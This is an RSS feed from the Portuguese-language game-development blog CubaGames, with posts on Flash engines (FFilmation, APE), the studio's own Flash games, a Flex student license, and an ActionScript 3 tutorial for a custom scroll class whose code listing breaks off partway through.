<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CubaGames &#187; Flash &#8211; ActionScript</title>
	<atom:link href="http://www.cubagames.com.br/category/flash-actionscript/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cubagames.com.br</link>
	<description>Notícias sobre o mundo dos games, artigos sobre gamedev, reflexões, tutoriais, games e jogos online</description>
	<lastBuildDate>Wed, 01 Feb 2012 16:40:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>FFilmation, uma engine para jogos isométricos em flash</title>
		<link>http://www.cubagames.com.br/ffilmation-uma-engine-para-jogos-isometricos-em-flash/</link>
		<comments>http://www.cubagames.com.br/ffilmation-uma-engine-para-jogos-isometricos-em-flash/#comments</comments>
		<pubDate>Wed, 09 Apr 2008 16:31:34 +0000</pubDate>
		<dc:creator>Romulo De Lazzari</dc:creator>
				<category><![CDATA[Ferramentas]]></category>
		<category><![CDATA[Flash - ActionScript]]></category>

		<guid isPermaLink="false">http://www.cubagames.com.br/ffilmation-uma-engine-para-jogos-isometricos-em-flash/</guid>
		<description><![CDATA[<p style="text-align: center"><img src="http://www.cubagames.com.br/wp-content/uploads/2008/04/header.jpg" alt="FFilmation" /></p>
<p>Impressionante é a palavra para <a href="http://www.ffilmation.org/website/">esta engine</a>! <a href="http://www.ffilmation.org/website/demos/example-1/">A movimentação do personagem no exemplo</a> é muito boa, melhor ainda é a sombra que se cria em contraste com a luz. Lendo rapidamente os &#8220;como começar&#8221; a desenvolver algum jogo utilizando a <a href="http://www.ffilmation.org/website/">FFilmation</a> vi que realmente é fácil fazer qualquer coisa ali dentro. Os desenvolvedores pensaram também nos designers que não precisam mais se preocupar com a engine de renderização do jogo.</p>
<p><!--more--></p>
<p>Veja algumas das facilidades prometidas pelos desenvolvedores:</p>
<p>-  Inferface de programação entre a engine e o seu jogo (ou aplicação) simples e fácil de aprender;<br />
-  Uma mega performance de renderização;<br />
-  Os designers poderão <strong>&#8220;ver em tempo real&#8221;</strong> como ficará dentro do jogo o que estão criando;<br />
-  Capaz de criar cenas isométricas de diferentes complexidades;<br />
- Criar cenas através de arquivos xml padronizados, chamado de <em>&#8220;human readable xml&#8221;</em>;<br />
- Imagens podem estar em arquivos externos e podem ser carregados a qualquer momento;<br />
- Todos os componentes dos cenários são editados como se fossem 2D, <strong>a engine faz o trabalho de projetá-las de maneira isométrica </strong>(muito bom isso);<br />
- Iluminação dinâmica com sombras em tempo real;<br />
- Detecção de colisão integrada;</p>
<p style="text-align: center"><img src="http://www.cubagames.com.br/wp-content/uploads/2008/04/ffilmation.JPG" alt="Exemplo da engine" /><br />
<em>Exemplo do site oficial</em></p>
<p><a href="http://www.ffilmation.org/website/demos/example-1/">Veja os exemplos no site oficial</a> e fique de queixo caído como eu aqui. Em próximos artigos, vou testar essa engine para ver se ela é tudo isso mesmo! Quem sabe ela vem a ser muito útil para a CubaGames <img src='http://www.cubagames.com.br/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> , aguardem.</p>
]]></description>
		<wfw:commentRss>http://www.cubagames.com.br/ffilmation-uma-engine-para-jogos-isometricos-em-flash/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>O super homem (ops gato!) voador da CubaGames</title>
		<link>http://www.cubagames.com.br/o-super-homem-ops-gato-voador-da-cubagames/</link>
		<comments>http://www.cubagames.com.br/o-super-homem-ops-gato-voador-da-cubagames/#comments</comments>
		<pubDate>Mon, 07 Apr 2008 16:57:53 +0000</pubDate>
		<dc:creator>Guilherme Moschen</dc:creator>
				<category><![CDATA[CubaGames]]></category>
		<category><![CDATA[Desenvolvimento]]></category>
		<category><![CDATA[Flash - ActionScript]]></category>

		<guid isPermaLink="false">http://www.cubagames.com.br/o-super-homem-ops-gato-voador-da-cubagames/</guid>
		<description><![CDATA[<p>Nessa últimas semanas a CubaGames estava negociando projetos com uma agência e nesse processo foi solicitado para nós que <a href="http://br.answers.yahoo.com/question/index?qid=20060623160010AAxYE6x">tangibilizássemos o nosso know-how</a>. Então nós acabamos desenvolvendo uma brincadeira com o super homem ou Cuba. Melhor! <a href="http://www.cubagames.com.br/webgames/supercuba/">SuperCuba</a>.</p>
<p><a href="http://www.cubagames.com.br/supercuba/" alt="SuperCuba" title="SuperCuba"></a></p>
<p style="text-align: center"><a href="http://www.cubagames.com.br/webgames/supercuba/" alt="SuperCuba" title="SuperCuba"><img src="http://www.cubagames.com.br/wp-content/uploads/2008/04/supercuba.jpg" alt="supercuba.jpg" border="0" /></a></p>
<p><a href="http://www.cubagames.com.br/webgames/supercuba/">Clique aqui ou na imagem para ver o SuperCuba em ação. </a></p>
<p>Para voar com o nosso amigo, utilize os direcionais, teclas A e S para ir para o fundo da tela e voltar respectivamente, tecla espaço para atirar. No canto superior direito haverá uma joaninha para matá-la.</p>
<p><strong>OBS: Se você apertar as teclas e nada acontecer, clique no objeto do Flash. O browser precisa saber que objeto Flash está em focus pra liberar os eventos do teclado.</strong></p>
<p>Quando a gente assinar o contrato vamos revelar que é o mais novo cliente da CubaGames.</p>
<p>Aquele abraço.</p>
]]></description>
		<wfw:commentRss>http://www.cubagames.com.br/o-super-homem-ops-gato-voador-da-cubagames/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>APE &#8211; Engine de Física para Flash e Flex</title>
		<link>http://www.cubagames.com.br/ape-engine-de-fisica-para-flash-e-flex/</link>
		<comments>http://www.cubagames.com.br/ape-engine-de-fisica-para-flash-e-flex/#comments</comments>
		<pubDate>Tue, 25 Mar 2008 13:00:23 +0000</pubDate>
		<dc:creator>Guilherme Moschen</dc:creator>
				<category><![CDATA[Desenvolvimento]]></category>
		<category><![CDATA[Flash - ActionScript]]></category>

		<guid isPermaLink="false">http://www.cubagames.com.br/ape-engine-de-fisica-para-flash-e-flex/</guid>
		<description><![CDATA[<p><a href="http://www.cubagames.com.br/ape-engine-de-fisica-para-flash-e-flex/568/" rel="attachment wp-att-568" title="ape.png"></a></p>
<p style="text-align: center"><a href="http://www.cubagames.com.br/ape-engine-de-fisica-para-flash-e-flex/568/" target="_blank" rel="attachment wp-att-568" title="ape"><img src="http://www.cubagames.com.br/wp-content/plugins/ape.png" alt="ape.png" border="0" /></a></p>
<p>APE (Actionscript Physics Engine) é uma engine 2D de física open source desenvolvida em AS3 e pode ser usada tanto para o Flash como para o Flex.</p>
<p>Ainda na versão alpha 0.45, essa engine permite um uso fácil e rápido de conceitos de física mecânica para a sua aplicação Flash/Flex.</p>
<p><!--more--></p>
<p>Eu fiz alguns testes com ela e gostei do que vi, porém alguns bugs precisam ser corrigidos. De qualquer forma, essa engine já serviu de inspiração para a CubaGames. Não tinha muito tempo para criar um menu de jogos para o novo site então acabei pegando algo que facilitasse a minha vida. Ou você que eu faria um sistema de colisão de partículas numa tarde?</p>
<p>Pra saber mais sobre o projeto APE, acesse <a href="http://www.cove.org/ape/index.htm" target="_blank">esse link</a>.</p>
<p>Aquele abraço.</p>
]]></description>
		<wfw:commentRss>http://www.cubagames.com.br/ape-engine-de-fisica-para-flash-e-flex/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Licença do Adobe Flex Builder Pro 3 para Estudantes</title>
		<link>http://www.cubagames.com.br/licenca-do-adobe-flex-builder-pro-3-para-estudantes/</link>
		<comments>http://www.cubagames.com.br/licenca-do-adobe-flex-builder-pro-3-para-estudantes/#comments</comments>
		<pubDate>Mon, 03 Mar 2008 16:42:39 +0000</pubDate>
		<dc:creator>Guilherme Moschen</dc:creator>
				<category><![CDATA[Ferramentas]]></category>
		<category><![CDATA[Flash - ActionScript]]></category>

		<guid isPermaLink="false">http://www.cubagames.com.br/licenca-do-adobe-flex-builder-pro-3-para-estudantes/</guid>
		<description><![CDATA[<p style="text-align: center"><img src="http://www.cubagames.com.br/wp-content/plugins/box_flexbuilderstandard3_150x150.jpg" alt="box_flexbuilderstandard3_150×150.jpg" /></p>
<p>No finalzinho de fevereiro a Adobe anunciou uma licença free do <a href="http://www.adobe.com/products/flex/" target="_blank">Adobe Flex Pro 3</a> para estudantes e professores de universidades. Para adquirir a sua licença basta comprovar que é estudante e você receberá um serial.</p>
<p>É realmente simples, acesse: <a href="http://www.flexregistration.com/" target="_blank">www.flexregistration.com</a></p>
<p>Aquele abraço.</p>
]]></description>
		<wfw:commentRss>http://www.cubagames.com.br/licenca-do-adobe-flex-builder-pro-3-para-estudantes/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Meio Bit Games Pops, descubra se você conhece de games ou não</title>
		<link>http://www.cubagames.com.br/meio-bit-games-pops-descubra-se-voce-conhece-de-games-ou-nao/</link>
		<comments>http://www.cubagames.com.br/meio-bit-games-pops-descubra-se-voce-conhece-de-games-ou-nao/#comments</comments>
		<pubDate>Mon, 11 Feb 2008 15:47:14 +0000</pubDate>
		<dc:creator>Romulo De Lazzari</dc:creator>
				<category><![CDATA[CubaGames]]></category>
		<category><![CDATA[Flash - ActionScript]]></category>
		<category><![CDATA[Jogos]]></category>

		<guid isPermaLink="false">http://www.cubagames.com.br/meio-bit-games-pops-descubra-se-voce-conhece-de-games-ou-nao/</guid>
		<description><![CDATA[<p>Hoje foi ao ar o novo jogo da CubaGames! Feito em parceria com o <a href="http://games.meiobit.com/">blog de games Meio Bit Games</a>. Você deverá analisar a imagem e colocar o nome do jogo desta imagem no campo abaixo dela. Caso você acerte o campo fica verde, senão ele fica vermelho. Simples né? <a href="http://games.meiobit.com/desafio-mb-games-descubra-qual-eacute-o-jogo">Clique aqui</a> ou na imagem abaixo, jogue e mostre que você é &#8220;fodão&#8221; nos games!</p>
<p style="text-align: center"><a href="http://games.meiobit.com/desafio-mb-games-descubra-qual-eacute-o-jogo"><img src="http://www.cubagames.com.br/wp-content/plugins/imagem.JPG" title="Meio Bit Games Pops" alt="Meio Bit Games Pops" border="0" /></a><br />
<em> imagem do jogo (clique nela para jogar)</em></p>
<p>O mais legal é que foi desenvolvido um sistema de gerador de versões, assim várias versões do jogo poderão ser feitas e cada nova versão lançada, eu postarei aqui na CubaGames também <img src='http://www.cubagames.com.br/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  !</p>
<p>Gostaria de agradecer ao ao Marcellus Pereira, Leonardo Faoro pela parceria e um agradecimento em especial ao <a href="http://vidadegamer.wordpress.com/">Dori Prata</a> (link para o site pessoal dele) pelo contato e processo de testes e instalação do jogo. Parabéns a todos que trabalharam no processo deste jogo, desde o Kendy (designer do jogo), Tiago e Guilherme (que testaram e me ajudaram com dicas de programação em ActionScript) e ao pessoal do Meio Bit Games! O jogo tem tudo para ser um sucesso!</p>
]]></description>
		<wfw:commentRss>http://www.cubagames.com.br/meio-bit-games-pops-descubra-se-voce-conhece-de-games-ou-nao/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scroll Simplificado</title>
		<link>http://www.cubagames.com.br/scroll-simplificado/</link>
		<comments>http://www.cubagames.com.br/scroll-simplificado/#comments</comments>
		<pubDate>Wed, 26 Dec 2007 20:43:21 +0000</pubDate>
		<dc:creator>Guilherme Moschen</dc:creator>
				<category><![CDATA[Desenvolvimento]]></category>
		<category><![CDATA[Flash - ActionScript]]></category>

		<guid isPermaLink="false">http://www.cubagames.com.br/scroll-simplificado/</guid>
		<description><![CDATA[<p>Nessas últimas semanas quando estava desenvolvendo alguns dos nossos jogos em Flash, eu cheguei na tela do ranking. Vendo o layout, eu percebi que o ranking tinha um scroll customizado.<br />
A primeira instância, eu pensei: tranqüilo, o Flash tem um componente pronto que faz isso(ScrollPane), porque reinventar a roda?</p>
<p>Porém quando comecei o customizar o scroll para o layout do jogo(<a href="http://www.cubagames.com.br/colhendo-os-frutos-do-blogcamp/" target="_blank">Memória Numérica</a>) tive muito trabalho. Pois o componente do Flash foi desenvolvido para funcionar como um scroll normal do Windows, igual a esse que seu navegador utiliza(--&gt;&gt;). E o layout do scroll do jogo é diferente. E agora?</p>
<p>Como os jogos da CubaGames normalmente têm ranking, por que não fazer um scroll que seja simples e fácil de se adaptar ao layout dos jogos? E claro, que eu tenha que desenvolver apenas uma vez, que possa importar a biblioteca pra qualquer projet e utilizá-la de forma simples e rápida.</p>
<div class="igBar"><span id="lactionscript-1"><a href="#" onclick="javascript:showPlainTxt('actionscript-1'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">Actionscript:</span>
<div id="actionscript-1">
<div class="actionscript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* Classe que implementa a função a scroll simplificada</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* Somente foi tratado o scroll vertical</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* @author Guilherme Moschen</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* @version 1.0</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">*/</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">package com.<span style="color: #006600;">cubagames</span>.<span style="color: #006600;">util</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">DisplayObject</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">Sprite</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">events</span>.<span style="color: #006600;">MouseEvent</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">geom</span>.<span style="color: #006600;">Point</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">geom</span>.<span style="color: #006600;">Rectangle</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> <span style="color: #0066CC;">Scroll</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> bolaScroll:Sprite;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> areaScroll:Rectangle;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> conteudo:DisplayObject;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> posicaoInicialBolaScroll:Point;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> botaoCima:DisplayObject;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> botaoBaixo:DisplayObject;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> mousePressionado:<span style="color: #0066CC;">Boolean</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> alturaConteudo:<span style="color: #0066CC;">int</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> precisaScroll:<span style="color: #0066CC;">Boolean</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">// Seta a velocidade do Scroll quando é usado os botões para deslizar o conteúdo</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">public</span> <span style="color: #0066CC;">static</span> <span style="color: #000000; font-weight: bold;">var</span> VELOCIDADE_SCROLL:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;color:#800000;">9</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* Construtora da classe</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* @param&nbsp; &nbsp; bolaScroll &nbsp;- Sprite que representa a bola(ou outra forma) do scroll. O bola do scroll sempre deslizará para baixo, a distância de deslizamento é a altura da areaScroll</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* @param&nbsp; &nbsp; areaScroll &nbsp;- Rectangle que representa a area do scroll, funciona da mesma forma que o efeito clipping em Sprite. A posição X e Y do scroll deve-se ser 0, pois essa será posição inicial do clipping dentro do conteúdo.</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* @param&nbsp; &nbsp; conteudo &nbsp; &nbsp;- O conteúdo que será implementado o scroll</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* @param&nbsp; &nbsp; botaoCima &nbsp; - Botão que representa a seta superior do scroll</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">* @param&nbsp; &nbsp; botaoBaixo&nbsp; - Botão que representa a seta inferior do scroll</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">*/</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">Scroll</span><span style="color: #66cc66;">&#40;</span> bolaScroll:Sprite, areaScroll:Rectangle, conteudo:DisplayObject, botaoCima:DisplayObject, botaoBaixo:DisplayObject <span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span> = bolaScroll;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span> = areaScroll;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">conteudo</span> = conteudo;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">botaoCima</span> = botaoCima;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">botaoBaixo</span> = botaoBaixo;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">mousePressionado</span> = <span style="color: #000000; font-weight: bold;">false</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">// Não precisa de scroll, se a altura do conteúdo for menor que a altura do scroll</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> <span style="color: #0066CC;">this</span>.<span style="color: #006600;">conteudo</span>.<span style="color: #0066CC;">height</span> &amp;lt;this.<span style="color: #006600;">areaScroll</span>.<span style="color: #0066CC;">height</span> <span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">precisaScroll</span> = <span style="color: #000000; font-weight: bold;">false</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">else</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">precisaScroll</span> = <span style="color: #000000; font-weight: bold;">true</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> <span style="color: #0066CC;">this</span>.<span style="color: #006600;">precisaScroll</span> <span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">// Salva a posição inicial da bola da Scroll para sempre saber quanto foi o descolamento desde o ponto inicial até a posição atual da bola do scroll</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">posicaoInicialBolaScroll</span> = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #006600;">x</span>, <span style="color: #0066CC;">this</span>.<span style="color: #006600;">bolaScroll</span>.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">//Quando é setado um scroll para um DisplayObject a altura e largura, viram a altura e largura do scroll. Salva-se então para saber o tamanho real do conteúdo</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">alturaConteudo</span> = <span style="color: #0066CC;">this</span>.<span style="color: #006600;">conteudo</span>.<span style="color: #0066CC;">height</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">// Tratamento feito para sempre ter metada do conteúdo aparecendo na tela</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span> <span style="color: #0066CC;">this</span>.<span style="color: #006600;">alturaConteudo</span>&amp;gt; <span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span>.<span style="color: #0066CC;">height</span> <span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #0066CC;">this</span>.<span style="color: #006600;">alturaConteudo</span> -= <span style="color: #0066CC;">this</span>.<span style="color: #006600;">areaScroll</span>.<span style="color: #0066CC;">height</span>/<span style="color: #cc66cc;color:#800000;">2</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
